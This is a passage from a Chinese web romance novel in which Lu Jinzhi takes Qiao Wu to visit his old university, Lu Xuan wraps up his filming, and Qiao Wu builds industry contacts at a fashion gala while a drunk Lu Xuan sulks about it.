陆尽之脱下自己的外套,轻轻挑眉:“如果十八岁的你在我身边,大概就会是这样的一天。” 乔梧动作骤然停下,愣愣地抬眼看他。 昨晚虽然喝得有点多,但她没有断片,她还清晰地记得陆尽之说他有做不到的事。 察觉她的状态,陆尽之挂好衣服替她取下围巾:“遗憾弥补不了,但你可以拥有的再多一点。” “来吧,呜呜同学。”他把围巾挂好,“再不吃早餐,一会儿赶不上讲座了。” 这下乔梧终于反应过来陆尽之要做什么了。 要弥补她以前没有来过大学的遗憾么? 她说不上来是什么感觉,觉得有点幼稚有点好笑。 但,还有点开心。 她又不是没上过大学,只不过不像现在这样而已。 但她的确也对十八岁的陆尽之很陌生,那会儿陆尽之的确不常回家,也不让“她”接近。 “你那时候就住在这儿?” “嗯。” 佣人把早餐端上来,陆尽之拉开椅子示意她坐下,简单解释:“家里吵。” 他的母校是A大,学校离陆宅很远,他要在学校学习又要去公司,他每天不想花那么多时间在路上,就在两条线中间买了一套房。 而且那时候陆家的人基本不同桌吃饭,回去也没什么意义。 他也不是很想见到那时候的“她”。 乔梧坐下,看到两人份的早餐就知道他这是提前让厨师过来做的,毕竟他应该很久没过来了。 按照陆尽之事事都要提前安排好的性格,他昨晚就想好了? “我跟你又不一样。”乔梧吃着早餐,说,“我不会在这儿买房,好亏。” 花钱买套房就为了待四年,如果她能正常长大,估计是住校,周末再回去陪爸爸。 “不亏,这是我的。” “嗯?” 陆尽之抬眸:“我愿意让十八岁的你住进来。” 什么意思? 他住完了,然后让她住? 也是,陆尽之比她要早好几届呢。 乔梧想了一下,如果是那时候的自己,说不准十八岁的时候跟陆尽之就是很好的朋友了,所以也有这种可能性。 她玩笑道:“这么大方。” “十八岁。”陆尽之轻笑,“不是大方,或许那时候我就跟现在一样。” “现在?” “嗯,跟现在一样在追你了。” “……” 无处不在,猝不及防。 陆尽之是一点不给她喘息的机会。 她凉凉道:“我才十八岁。” “怎么?”陆尽之饶有兴致地问,“十八岁的你就不是你了?” 这么想着,他脑海里却不由得开始想象十八岁的乔梧会是什么样。 比现在要更青涩,没有那么多工作压力,也不会为了家里那些琐事烦心。 会更自由大胆地去为了她想要做的事奋斗,眼睛一定会很亮。 在感情上,也会比现在更加生疏。 乔梧坐在他对面,见他盯着自己眼神越来越深,就有种不好的预感:“把你的天马行空的想象收起来。” “收不住。”陆尽之微叹,“我现在也很遗憾。” “遗憾什么?” “如果早四年追你,现在就可以领证了。” 乔梧被他这赤裸裸的话给吓得呛了一口,拍着胸口咳个不停。 陆尽之越过岛台,轻轻在她背上拍着:“吓到你了?” 缓过气的乔梧挥开他的手:“能不瞎说吗?” “不是瞎说。”陆尽之坐回去,看着她不知道是咳红还是羞红的耳根,笑道,“我想过了,十八岁的你我也很喜欢。” 或许还到不了十八岁。 只要她还是她,只要两人一起长大,在他能知晓感情情欲的那天,他第一眼看到的也就只能是她。 所以他会早早把她圈到自己身边,像现在这样陪她吃完早餐,再送她去学校。 过去陆尽之觉得,只要能得到她回来,过去就不必再去深究。 可现在这么一想,他又觉得实在遗憾。 吃完饭后,乔梧跟陆尽之一起来到了A大。 虽然是周日,但学校里还是有很多人,时不时就朝两人投来目光。 乔梧低头看了下:“我看起来是不是不太像大学生?” 既然她让看,陆尽之就不客气了。 他光明正大将人从头到脚都细细看了一遍,看到对方眼神变得危险了,他才抬手在她脑袋上轻轻揉了揉:“学妹。” “乱喊什么,我还不一定考得上。” 陆尽之语气肯定:“如果是你,一定可以。” 两人来到了学校的礼堂,外面还贴着些荣誉校友的名字,陆尽之的大名赫然在列,乔梧回头将照片和真人对比了一下,上面的照片比起现在的他要更加青涩一点,看着镜头的眼神也不像现在那样,而是有几分淡漠,看起来冷冷的。 就像陆应池他们说的,他平等地瞧不起任何人。 她还没看够,一只手就挡在她眼前。 “怎么,不让看?” “该再捐一次。”陆尽之依旧挡着她的视线,“把照片换了。” 乔梧乐了:“不丑啊。” 她挪开陆尽之的手,觉得上面的青年生得俊俏极了,还很嫩,比起周围那些中年男人不知道要好多少,谁能在毕业那年就给学校捐一栋楼啊,也就陆尽之了。 “丑。” 陆尽之很坚持,还把她肩膀按着转了个方向:“走吧,要迟到了。” 今天学校有个讲座,陆尽之打算带她进去听。 两人坐在最后面的位置,乔梧见陆尽之比之前沉默,回头看了他一眼。 这人表达不开心是很明显的,表情会很淡。 就因为一张照片? 不至于吧。 陆尽之还有容貌焦虑? 察觉她的视线,陆尽之偏过头:“嗯?” 乔梧竖起拇指:“鉴定完毕,很帅。” 眼神有些浅淡的陆尽之闻言稍愣,随即垂眸沉沉笑了几声。 “那就快点喜欢我吧。”他温声说。 怎么给一点颜色就灿烂成这样,乔梧坐回去:“……我是在安慰你,你不要恩将仇报。” 陆尽之脸上笑意更深。 讲座已经开始了,会场里也渐渐安静了下来。 乔梧刚准备认真听讲,就感觉身边的人动了。 她侧过头,恰好陆尽之也在朝她靠近,两人目光在这一刻忽然近距离交汇。 过于近了。 近到她感觉自己恍惚中都能感受到陆尽之的呼吸。 她突然明白了陆尽之说的那句“喜欢很难藏”是什么意思了。 照片上那个眼神冷淡的青年此时在她面前,眼里蕴着温热浓厚的情绪,一眼看得分明。 乔梧下意识眨了下眼。 下一秒就见陆尽之抬起手,她下意识想要躲,可陆尽之却只是将她的头轻轻转到了另一边,将两人的目光错开。 乔梧看到的是前面长排的座位,是台上正在侃侃而谈的老师。 但耳边却是不同的声音。 陆尽之声音很轻,跟会场音响的声音同步响起,却很清晰。 “如果十八岁的你在,我不会是那样。”他在她耳边轻声说。 会有人跟他说让他把情绪说出来。 他也不会成为那个冷漠自私的混蛋。 乔梧的心随着音响的震动轻轻颤了一下。 她忽然很想看到现在的陆尽之是什么表情,但陆尽之的手依旧在她的后脑勺微微用力,所以她没回头。 “你也要去跟陆宣抢饭碗了吗?”她笑着问。 察觉到她没有要离开的意思,陆尽之渐渐松了力道,只不过手已经覆盖在她的后脑勺,又轻轻下滑,将落未落地悬在她的后脖颈处。 他现在觉得在乔梧面前示弱,好像是一件很有趣的事情。 这人吃软不吃硬,心里像是塞了一团棉花,只要碰到了就会缠缠绵绵地陷进去,被一点点裹住,裹得密不透风。 他几可不察地笑了下:“嗯?” “那些传统霸总的常见毛病,你忘了吗?”乔梧语气轻松,“没有人是十全十美的,要和自己的小缺点共存,这是一件很正常的事,不要那么偏执。” “所以‘我很奇怪,我跟全世界都不一样’这种念头不要有。”乔梧回想了一下,“你看过陆宣演的霸总电视剧吗?你也不想变成那样吧。” 陆尽之没想到她会这么说,最初的愣怔后抑制不住地垂下头笑了起来。 他本来就跟乔梧离得近,这下额头轻轻抵在她的肩膀上,随着他笑起来的动作,两人时不时隔着衣服相碰。 乔梧有点僵硬。 但想着这人刚才的情绪,又忍了下来。 僵着肩膀给他靠着。 然后她就感觉到自己后脖颈被人轻轻按了按。 陆尽之那只将落未落的手终于落下去,覆盖在那片觊觎已久的温热上,他笑着说:“呜呜好可爱。” “……”乔梧回过头,两只手抱住他靠在自己肩膀上的脑袋,抵着他的额头将人推远,“陆尽之,你简直就是得寸进尺的典型。” 陆尽之欣然应下:“商人是这样的,能抓住一点可能就不会放手。” 至于抓不住的。 也会想方设法抓住,把那个机会变成自己的。 乔梧重重地拍了他脑门一下,然后就发现有道光闪了一下。 她回头,发现有个人举着相机正对着她和陆尽之。 与此同时,音响里传来台上老师的声音:“陆氏集团总裁陆尽之过去也是我的学生,他今天也来到了现场,接下来就请他来给大家分享一些经验。” 乔梧:“……” 她猛地收回手,震惊地望着陆尽之。 怎么还有这个环节?! “昨天跟老师说加两个人,所以要露个脸。”陆尽之整理了一下衣服站起身,“等我。” 举着相机的人正在疯狂抓拍,乔梧的脸还在僵着。 她从来没在外面出过这种洋相! 她坐了回去,在陆尽之从自己身前经过的时候,压低声音:“陆尽之,你今天负一百了。” 陆尽之垂眸看着她通红的脸,忍俊不禁:“知道了,我会继续努力。” 乔梧见他人模人样地走上台,气得牙痒痒。 什么人啊! 努力到负1000,就把他给踢出追求者名单! A大的讲座没人能预料到陆尽之会出现,这个人在A大一直以来就是一个传奇,奈何他自从出过以后就很少再出现了,连杂志采访都是很早以前的。 所以这次他突然上台,震惊了不少台下的学生。 大家纷纷掏出手机拍照。 A大也不会放过这个机会,早在从老师那里得知陆尽之会出席时就安排了人过来拍照,就为了写个报道。 讲座才结束,照片和报道同步出炉。 连带一起出现但没上台的乔梧都被带上了。 回去的路上,郭力言把相关报道发到了乔梧手机上。 由于有很多学生也发在社交平台,所以还上了热搜。 乔梧点开一看,官方的图倒是都很正经,是她跟陆尽之坐在一起说话的照片,除了隔得有点近没有其他什么,标题是“陆氏总裁陆尽之和陆氏公益基金会理事长乔梧今日来到A大与同学们交流心得”。 乔梧飞速把手机给按下,第一次不敢看自己的相关报道。 毕竟这些人不知道陆尽之当时跟她在说的是什么奇怪的话题。 “短期之内我不会再接受你的邀请了。”她木着脸说。 “没事。”陆尽之很懂变通,“在家吃也一样。” “……” 此时远在港区的陆宣刚刚结束一场拍摄,因为是个配角,戏份并不是很多,所以过几天就可以杀青了。 他坐在角落里看剧本,趁着道具组挪场地的空挡,姜奇来到他身边:“怎么样,接下来的戏看明白了吗?” 见陆宣手里拿的东西,姜奇哈哈大笑:“哟,看来会演得很好,几页剧本都要被你翻烂了,不就剩下感情戏了吗?” 陆宣头都没抬:“离过婚的人有什么资格发言?” “……” 这臭小子真不会说话。 “你还指望这剧本真能教会你东西。”姜奇也刺他,“那你不如去多看几本言情小说。” 没想到陆宣还真抬起头来了:“有用?” “有屁用。”姜奇冷笑,“连自己的感情都搞不懂,还指望这些文字?杀青宴记得坐小孩那桌去。” 果然,跟离过婚的人就是没有共同语言。 陆宣把剧本甩到一边,拿出手机。 他下意识点开置顶,翻开之前的聊天记录。 都是他每天给她汇报自己的拍摄进度,而她更多时候也只公事公办的回复。 但也有小部分例外,陆宣在回味那些例外,乔梧偶而也会把家里的情况告诉他。 说家里多了一只猫,是陆柠捡回来的,叫呜呜。 叫呜呜啊。 他忽然也很想自己的呜呜了。 乔梧说,要他把自己规划好,把他跟她之间的关系看分明,他花了这么多时间去看,依旧看得模糊,所以他还不敢给她打电话。 怕她觉得他没用。 他翻完后,点开对话编辑:“我要杀青了,你要不要来?” 过了会儿,又把最后那半句删了。 把“我要杀青了”发了过去。 发完后他立刻退出对话框,欲盖弥彰地刷手机上的各种软件。 忽而,热搜上的两个名字引起了他的注意,点进去一看,是工作内容。 他随便扫了一眼就打算退出,陆尽之去哪要干什么关他什么事。 可屏幕往下滑了滑,却忽然看到另一条高赞的私人微博。 上面陆尽之和乔梧坐在最后一排,乔梧的两只手都按在陆尽之的头上。 一向高高在上从不肯低头弯腰的陆尽之,却微微垂着头,任由她触碰。 陆宣指尖顿住。 视线定在那张图片上,一种说不清的情绪忽然冒出来。 远处已经回到位置上的姜奇拿着大喇叭喊:“陆宣,就位!” 陆宣最后看了一眼图片,点击保存,然后把手机扔到了助理怀里走进场内。 姜奇实在担心这个臭小子不开窍演不好感情戏,所以再三嘱咐:“代入感强一点,你是求而不得。” 陆宣:“…” “是嫉妒。” “……” “是碰不到!” 陆宣忍无可忍,第一次打断了姜奇讲戏:“能不说了吗?” 姜奇:“你不是小学鸡么?我给你说细一点你好感受。” “不用。”陆宣脸色很臭,“代入感很强。” 已经开始生气了。 怎么着,她跟陆尽之就没有男女之分了? 他要把那张照片拿回去,打印出来,甩到乔梧脸上,哦不,身上! 然后把自己这些天失去的都补回来! 他也要被摸! 第73章 第七十三章腹肌都不看 杀青当天,陆宣往剧组门口脑袋都要扭断了,愣是没有看到自己想看到的身影,只等来了孟星星这吨小卡车。 孟星星觉得陆宣看自己的眼神经历了人生的大起又打落,疑惑地往自己身后看去:“哥,你看什么呢?” 陆宣不想承认自己等的人没来。 难道乔梧没看到他发的消息么?她最近这么忙? 是,在新闻上都看到了,她跟秦天睿的新公司已经换了法人,最近忙着带她自己公司的艺人吧。 只闻新人笑,不闻旧人哭。 呵。 还说是他的金主呢。 说什么期待 他站在领奖台上那天,现在她都要亲自把别人送上领奖台了。 陆宣有点暴躁。 明明以前的乔梧也是满嘴谎话,可那时他能接受,现在却不能。 孟星星等了好久都没得到回答,只觉得现在他哥有种要把他现场噶了的表情:“哥?” 陆宣头也不回就要回片场。 “哥,我还没说完呢!”孟星星抱着束花挤到他面前,“你怎么不等等我呢,给你,杀青大吉。” 陆宣睨了一眼,他今天收到的花已经很多了,一会儿怎么带走都是个问题。 虽然心里憋闷,但嘴上还是说:“以后不用搞这些。” 没想到孟星星那张嘴不行,审美还不错,这束花挺好看的。 他接过来,又还回去:“一会儿跟其他的花一起放车上吧。” “好嘞!”孟星星抱着花转身。 陆宣余光里闪过什么,眉心忽然一皱:“等会儿。” 他掰过孟星星的肩膀,伸手从那束花里拿出了一张小小的卡片。 上面只有四个字——“杀青大吉”。 可字迹却熟悉到让他手都有些颤抖,陆宣死死盯着:“谁送的?” 孟星星:“乔小姐啊。” 话音才落他怀里的花就被一把抢走了,陆宣气急败坏地瞪着他:“那你不早说!” “是乔小姐说没必要说。” “谁才是你老板?”陆宣骂骂咧咧,“该说的你不说,不该说的你往外抖一堆。” 不是,一束花而已,孟星星摸不着头脑。 陆宣看着那张卡片抱着花就往外走:“她来了?!” “没没没!”孟星星赶紧把他一把拽住,“花是乔小姐订下,我飞机落地以后去取的。” “卡片?” “噢噢,这倒是她提前交给我,我后来放上去的。” 陆宣将那张卡片仔细看了好几遍,又放进自己的衣服里,十分小心,生怕把已经干了的墨迹给蹭没了。 没事儿,虽然她没来。 但是她心里还是有我的。 “哥,里面还有呢。” 陆宣低头看了一眼,这才发现地下还有好几张卡片。 上面歪七扭八的字体都只写着同样四个字。 但是他都很熟悉。 他辅导过陆柠的作业,陆应池的字一直都有乔梧的风格,至于陆尽之…… 怎么还有陆尽之的事儿!他掺和什么。 “怎么,他们穷到自己都不能单独买一束花了?” 还要跟乔梧的放在一起。 这花都脏了! “这不是很难带走吗?”孟星星说,“所以乔小姐就订了一束。” 陆宣盯着其他的卡片看了很久,不情不愿地拿起来放在了另外一边的口袋。 一定是听了乔梧的话才写的。 所以归根究底,还是乔梧心里有他。 原本沉郁的心情微微回温。 两个主角还有戏份没拍完,今天是他一个人杀青,但剧组氛围都不错,每个主角都给他送了花,还约好一起去吃饭。 但陆宣全程抱着的只有其中一束。 吃饭前还要找服务员要来小喷壶先喷喷水。 “怎么,我们送的就不是花了?”姜奇看得一阵恶心,从自己那束花里拿了一小朵插在他的衣服里,“都杀青了,还马着个脸干什么,应该是你第一次真正意义上的杀青吧?” 是啊。 第一次。 她居然不来! 送的花居然还是跟人一起拼的。 陆宣将花放好,转身在自己的位置坐下,把口袋里那朵花拿出来,跟个深宫弃妃一样一瓣一瓣扯掉。 姜奇见他情绪不加,又想起这几天的感情戏里他的表现的确很好。 配角对女主的深情隐忍都很好的表现出来了,应该是情绪还没缓过来,很多新人都有这种现象,所以夸赞道:“这几天感情戏拍得很稳,说明你开窍了,以后会有大作为的。” 闻言陆宣停下动作,眯起眼问:“开窍了?” 姜奇无语:“你剧本都要翻烂了,别跟我说你拍戏的时候是盲拍。” “那倒不是。”陆宣捏着花茎,若有所思。 他只是忽然多了个参照而已。 他回头看了眼男女主:“这就是爱情?” 你爱来我爱去,你误会来我误会去,寻死觅活的。 说实话,挺难受。 “你真指望剧本能教会什么爱情?”姜奇点了根烟,沧桑的说,“你不懂爱情。” 陆宣的确不懂。 过去的确有很多人都想对他投怀送抱,但他不想便宜那些还没自己长得好的人,一般都懒得搭理。 但他把剧本里那些情绪都放在另一个人身上时,好像所有的一切就能都对上了。 如果是乔梧…… 他扯掉最后一片花瓣,心道:乔梧长得好看,对他好,人也好,他从小就喜欢。 如果是她,他好像就能欣然接受了。 对啊,他和她青梅竹马,天生一对。 而且他跟乔梧之间还没有男女主那些乱七八糟的事儿呢。 到了那个时候,他岂不是就可以光明正大地黏在她身边,再也不用顾及什么狗屁戒断了? 他把秃了的花茎塞给姜奇:“我悟了。” 姜奇:“?” 你悟什么了? “谢谢,结婚一定请你。” 姜奇:“啊?” “算了。”陆宣又很认真地想了想,“你不吉利,下次单独请你吃饭。” 姜奇气得一把将那只花的花茎狠狠地抽在他的后脑勺。 感觉自己现在已经被打通了任督二脉的陆宣十分激动,他决定制定一个完美的计划,把乔梧据为己有。 只可惜出师未捷身先死,他杀青宴结束就直接被拉上飞机,一下飞机连家都没得回就被孟星星拽去了秀场,还是个去陪跑的,连个座位名牌都没有。 孟星星苦口婆心:“你现在没有资源,去秀场有利于攒一攒时尚资源以后接广告。” 陆宣现在满脑子都是爱情计划,哪里还想得到什么广告啊。 “什么品牌?我以后自创一个自己代言行不行?” 孟星星拿这位爷没办法,只好拉出最后的底牌:“乔小姐让你去的。” “……” 陆宣忍了又忍。 干脆眼不见心不烦,闭上眼睛任由造型师给自己化妆。 过了会儿,他又忍不住:“你们谈过恋爱吗?” 孟星星全程陪聊:“上学的时候谈过。” “谁追的谁?” “当然是我追的她。” 陆宣心狠狠地动了,轻咳一声:“我有一个朋友想追人,你有什么经验没有?” “……” 孟星星没控制住自己裂开的表情:“哥,你事业上升期,就别想这种事情了吧?” “谁说是我?是我朋友!” “是是是。”孟星星在他看不见的地方翻了个白眼,“我建议你那个事业上升期的朋友暂时不要考虑这种事。” “为什么?” 其实孟星星大概能猜到陆宣说的是谁。 毕竟能拿捏住陆宣的人只有一个,实在是太明显了。 但说实话,孟星星并不觉得乔小姐能看上陆宣。 哪怕陆宣真的长得很帅,而且性格不坏有点天真耿直。 可乔小姐本身也长得很好看,做事为人的方法跟陆宣都不是一个档次的,陆宣属于襁褓中还在啼哭的孩子,有点任性,如果真的跟乔小姐在一起了,乔小姐会很辛苦吧。 所以孟星星很诚恳地说:“因为你…你那个朋友还一事无成。” 陆宣倏忽睁眼,他怒气冲冲地瞪着孟星星:“你怎么知道他一事无成!” “我不知道,你应该知道。”孟星星自然接话,“优秀的女孩子应该都会喜欢优秀的人吧,你那个朋友优秀吗?” “他……”陆宣犹豫了一下,“长得很优秀。” “难道那个女孩子长得不优秀?” “…优秀。” “那不就得了。”孟星星一追定音,“那你这个朋友的颜值在她眼里也不能作为加分项,你可以想想你朋友有什么加分项。” 陆宣沉默了。 他又再次闭上了眼睛。 没想到有一天长得好看居然还能成为他的减分项,明明是乔梧认证过的颜值。 可他的加分项… 他现在演技有进步了,也听话了,会负责了,会…… 他找不出来。 他伸手摸了摸口袋里那张卡片,发现自己在乔梧面前,好像真的什么都不是。 车很快停在了秀场外。 孟星星嘱咐道:“哥,一会儿少喝一点,我会在后面等你。” 秀场结束后有个晚宴,基本都是些艺人和一些品牌方邀请的老板在一起吃饭,喝酒在所难免。 陆宣没打算喝酒,他不是没来过这种场合,但以前都是他作为被邀请的老板来的。 那些艺人一般身上都戴些品牌方的产品,算是广告的一种。 他没有代言,自然不需要这些。 他提不起太大的兴致,随便嗯了声,刚要下车,却忽然看到不远处一个熟悉的身影。 那个没有去看他杀青,刚才还在他脑海里一直打转的人,就这么活生生地出现在了他眼前。 乔梧穿着一件香槟色的短款礼服,外面披着件黑色的西装外套,在一众艺人里都那么显眼。 “她怎么会来?” 孟星星顺着他的视线看过去,在看到乔梧身后那些人时,恍然:“应该也是带着艺人过来的。” “不用你解释。” 陆宣看到乔梧身后跟着的人里有他熟悉的那只鸟了。 他黑着脸下车。 急得孟星星在后面大喊:“哥,表情管理!” 狗屁的表情管理。 陆宣一直盯着乔梧消失在门口,花了好大的劲才让自己看起来表情没那么臭。 他垂下眼,有点难受,又有点委屈。 乔梧最近的确有些忙,家里倒是还好,但基金会那边的项目开始一段时间了,每天都会有不同的进度表送到她手上,和秦天睿接下来的公司也要步入正轨。 之前公司一直都是秦天睿在忙里忙外,她今天空出时间就打算亲自带人过来认一认脸。 原本公司很多艺人已经解约走人,留下来的类似于寥寥和黎向阳这种都没有什么经验,哪怕现在还没有相关资源,她也要给他们一个过来熟悉这种场合的机会,避免以后来的时候出错。 而且她需要结识一些圈内的人脉,这对以后给陆宣打理工作室有用。 她才走进会场,就有不少人的目光投了过来。 在场所有人除了艺人,其他哪怕是老板或是名门少爷小姐,都跟娱乐圈沾点边儿,自然也对长相气质优越的人会带有多一份的关注。 而且也常常关注微博这些时事热点。 想要认出来乔梧并不难,毕竟她上过几次热搜了。 所以很快就有人迎上来主动搭话:“乔梧小姐。” 乔梧对大部分人都眼生,但她也毫不怯场,稍稍致歉便能问到对方的名字,与对方交换信息。 不出半个小时,不用她自己走动,她基本就熟悉了大半个会场中比较重要的人,也让新公司在所有人心里留下了初步印象。 她能做的已经做了,至于接下来几个艺人想要去争取什么机会,那就要靠他们自己,所以她放开了手。 在其他人走后,她便将目标放在了人群中一个年轻男人身上,刚才跟其他人交换的信息里,那人叫崔斯同,是近几年靠着拍网剧爆火的艺人,后来自己独立出来开了工作室,已经从网剧的资源渐渐转型成了卫视上星剧的主角,现在资源都很不错,也是这个品牌在大陆的代言人。 能靠着网剧爆火起来还能站稳脚跟的艺人,身后的团队一定要很成熟,也要足够有经验才能扛得住网络的腥风血雨。 所以乔梧对他很感兴趣。 只是崔斯同作为今晚的热门明星,身边的人一直很多,而她之前一直在整理信息,还没能跟对方说上话。 稍加思索,她唤来旁边的服务生。 这边的崔斯同今天已经被不少人簇拥过来喝了不少酒了,品牌代言人不少,但奔着他来的人是大多数,虽然每个人都是做做样子喝几口,但架不住这么多人要跟他喝,有些大胆的还要趁机揩油。 他头有些疼,但以他现在的身份还不能做出任何出格的事情,表情也要维持好,毕竟一举一动都有可能被网络无限放大,别人能怎么把他推高,自然也会把他再摔下来。 过了会儿,他身边来了个服务生:“崔老师。” 崔斯同跟其他人说了声抱歉,回头:“怎么了?” 服务生递给他一张单子:“这是乔小姐今晚买下的东西。” 上面是今晚以他名义卖出去的所有珠宝。 崔斯同愣了一下,这才刚开始没多久,怎么就有人全买了?而且还是同一个人。 其实过去也不是没有这种情况,当他还是小品牌代言人的时候,有些大老板就想把所有东西买下来包他。 但后来名气上来,代言的品牌变大了就没人会那么明目张胆,大家也只会适当性的买一点,作为一个认识的契机或是像刚才那样揩点油。 越有钱的人脑子越灵光,都是逢场作戏,自然不会一掷千金。 这人是……乔梧? 崔斯同刚才从别人口中听到过这个名字,听说是个年纪很小但本事挺大的人,跟陆氏还有关系,现在名下有个小娱乐公司。 没想到年纪还没他大,出手倒是挺阔绰的。 是他今晚最大的老板了。 于情于理都该去见一见。 但是能一口气花这么多钱在自己身上的人…崔斯同几可不察的皱了下眉,怕是有点难缠。 他回头问服务生:“她在哪?” “那儿。” 顺着对方的指向看过去,崔斯同视线首先锁定在一个穿着香槟色礼服的年轻女人身上,对方的礼服镶着碎钻在灯光下闪闪发光,却依旧不敌她眉眼的精致,修长的腿轻轻搭着坐在沙发上,身上的沉静和柔和跟周围的浮华格格不入。 崔斯同看了好几秒,却没把这人跟那个一掷千金的人结合在一起,他克制地移开视线,问:“谁?” 服务生:“那位在沙发上的小姐。” 崔斯同目露诧异。 居然会是她? 他不觉得那样的人会为了他这种艺人花这么多 钱。 可一想到是她,他似乎就没那么抗拒了。 “知道了。” 他摘下了手上的表:“包起来。” 服务生很快就把单子拿走登记,又把那块表包起来交给了崔斯同:“这块表是乔小姐送您的见面礼。” 崔斯同:“?” 这一副要包他的架势,不会吧? 他垂眸看了眼手上的礼盒,轻轻拧了下眉。 思考了会儿还是拿着盒子走上前。 在他身后的角落里,听完全程的陆宣表情逐渐扭曲。 他来过这种场合,自然知道这是一个巨大的销售场,有的是有钱人会为了自己看上的明星买单。 但他没想到现在买单的那人居然是乔梧。 原本还以为是同名同姓,但看到那个男人走去的方向,不是乔梧是谁! 她不是带艺人来的吗!怎么还看上其他明星了! 他身边的人见他突然变脸,吓了一跳:“陆老师?” “别找我。”陆宣臭着脸,“我没钱。” 想来推销推销的艺人:“……” 她们知道陆宣,以为他今天来是跟以前一样来喝酒聊天的,想趁机卖点东西给他。 没想到这次碰壁了。 “陆老师误会了,我们只是来跟你叙叙旧。” 陆宣看了她一眼:“叙什么旧,我好像不认识你。” 女明星深吸一口气。 我以前卖了你那么多奢侈品,你现在跟我说你不认识我! 哥你的钱不是钱吗! “你的袖扣还是在我这儿买的呢。” 袖扣! 乔梧也送过他袖扣! 陆宣气不打一处来,端着面前那杯不打算喝的酒一饮而尽,恨声道:“买不起,我的金主现在要成别人的金主了。” 女明星:“???” “那小白脸什么来头?”陆宣问。 “您说崔斯同老师啊?”女明星看过去,“他很火的,您不知道吗?最近有好几部剧在热播。” 崔斯同? 陆宣想起之前乔梧曾经跟他说过,她喜欢跟比自己厉害的人在一起工作。 所以她喜欢厉害的人。 就因为他不火吗! 可恶。 见他一副马上要癫狂的样子,女明星赶紧撤了,惹不起惹不起。 在陆宣的视线中心,乔梧还不知道自己被盯了多久。 她知道今天陆宣会来,但一直没看到人。 不过这样也好,说明他戒断还算成功,知道自己现在要做什么,而不是一来就粘着她。 见崔斯同朝自己走来,她站起身伸手笑道:“崔老师。” “乔梧小姐。”崔斯同拿出那个装着表的盒子,跟她握了个手,“您真是破费了。” “一点小礼物。”乔梧松手,往旁边挪了一步,“方便聊两句吗?” 见她举止都很得体,出手一块表送人,居然没有像其他人那样挽一挽手或是做什么,崔斯同有些意外。 他在离乔梧不远不近的地方坐下,将盒子递过去:“这太贵重了,我不能收。” 虽然她买了很多,但这块表的确也不便宜,他已经得到提成了。 “崔老师别觉得有什么。”乔梧笑道,“我只是有求于你,所以先示示好。” 崔斯同:“有求于我?” “嗯。”乔梧拿一瓶没打开过的水递给他,“刚才看你喝了不少酒,先喝点水缓缓。” 不是已经倒好的酒也不是其他饮料,而是一瓶简单的水。 崔斯同是真的对眼前的人有些另眼相看,他好奇地问:“乔小姐可以直接说,是什么事?” 乔梧知道两人在这儿谈话的时间不会很多,所以也不拐弯抹角,直接道:“我听说你现在自己有一个工作室,实不相瞒,我以后也有成立工作室的打算,但我在这方面经验为零,所以想跟你请教请教。” 崔斯同愣了。 他都想好要怎么委婉的拒绝对方过分无理的要求了,没想到居然只是这个! “这……”他失笑,“乔小姐真是太抬举我了,还需要这么重的礼物,还有其他那些。” 虽然他的确希望自己的东西能卖更多的出去,但因为这个原因,他的确觉得有点愧不敢当。 还不如让乔梧摸摸自己的手呢。 “您也太亏了。” “不亏。”乔梧莞尔:“毕竟耽误了你宝贵的时间,不仅能学到经验还能交一个朋友,更何况也借用了你的名气,很值。” 她这么一说,崔斯同就懂了。 刚才听说乔梧自己成立了一个新娱乐公司,身边没有什么二线以上的艺人。 她当着那么多人的面买下他的东西,又让他主动走过来,作为在场名气最大的艺人,不得不说这一下的确给她挣来了更多的关注度。 她这是一举多得。 崔斯同彻底明白为什么刚才听人说起这个年轻老板的时候,人家说她年轻有为了。 这头脑的确常人比不得,那些钱只是她的投资而已,而且她足够坦诚,也不会让人觉得不适,毕竟对他没有任何坏处。 放在明面上的交易会让人更加放心,而且他也只是得到一块表,其他的东西也还是乔梧的。 这下崔斯同接受这块表心安理得:“看来的确要跟乔小姐交个朋友,感觉能学到不少东西,不过你的公司不是刚成立吗,怎么会想起工作室的事情?” 给艺人开工作室,首先要那个艺人能有这个实力,否则很亏也扶不起来。 “有个朋友。”乔梧简单解释,“希望他以后能顺利一点。” 见状崔斯同便没有再问,收下的礼物让他把自己的经验全都倾囊教授,但碍于时间不多,他不能一直在这儿待着,所以最后还跟乔梧互换了联系方式,约好下次再见。 崔斯同走后,乔梧便没再动了。 今晚场上已经没有她想要再深一步结交的人,她翻看着手上的珠宝册,看看有没有什么想要带回去的。 刚才买下的那些,一是为了崔斯同,二是为了自己扎根,三是以后可以作为人情往来送给其他人,并不是她喜欢的东西。 她翻着翻着,忽然感觉身边坐下了一个人,带着很浓的酒气。 那人一坐下来就往她身上粘。 乔梧皱眉,拿起册子就拍在那只手上,不悦抬头:“你……” 看清来人,她话音倏忽一顿:“陆宣?” 陆宣显然喝了不少酒,眉眼都染着醺意,捂着被拍红的手背眼珠子水灵灵地望着她。 见状乔梧就知道他醉了,又拿起一瓶水拧开递给他:“怎么喝这么多?” 说着就要招手让服务生给他上一些醒酒的东西来。 结果陆宣一把抓住她的手腕。 乔梧还没挣开就听到他啜泣的声音。 “你跟他碰个手,就为他花了一百万。” 陆宣眼睛通红,细细哽咽着:“我只要一个月五万,可你连腹肌都不愿意看。” 第74章 第七十四章你别管我了吧 这都什么乱七八糟的,也不知道在后面盯多久了。 乔梧将自己的手抽出来,先找服务生要了些醒酒的,这才回头去看被甩开后缩在沙发一隅的陆宣:“怎么一直没看到你?” “我没名牌。” 其实陆宣这个人在粉丝圈里不火,但在上面一层的圈子里很多人都知道他这个冤大头。 哪怕他没有名牌在晚餐时坐不到前排的位置,只要他想,有的是人会主动给他腾出位置来。 所以入场这么久没看到他的身影乔梧是有些惊讶的。 “没名牌不能露脸?”她问。 酒醉后的陆宣只能靠着直觉来做事和回答,他皱眉嘟囔:“别人说我耍大牌怎么办?” 再怎么说也算是进到完整的剧组里两次了,也见过形形色色的人,除开那种粗制滥造的辣眼睛网剧,他也知道了一个剧组里的演员都怎么分级,知道一个作品里只有那么一两个主角。 这次他是以演员的身份进来的,又不是陆少爷,知道自己该在什么位置。 再被人拉着坐到前排被拍到,到时候又会有人说他小牌大耍走后门。 托了孟星星的福,他现在已经熟知自己在网络上的黑粉每天都在黑他些什么了。 他过去倒是对这些言论没什么所谓。 可现在不一样,他第一次在卫视露脸是乔梧跟他一起的,他的词条后面总是跟着乔梧的名字。 如果再被人泼脏水,乔梧怎么办。 而且他也不想再遇到那些把他当傻子来哄着买东西的人,所以没到拍照环节他就一直坐在没人注意的角落里。 结果还被迫看到乔梧斥巨资哄人开心的场面。 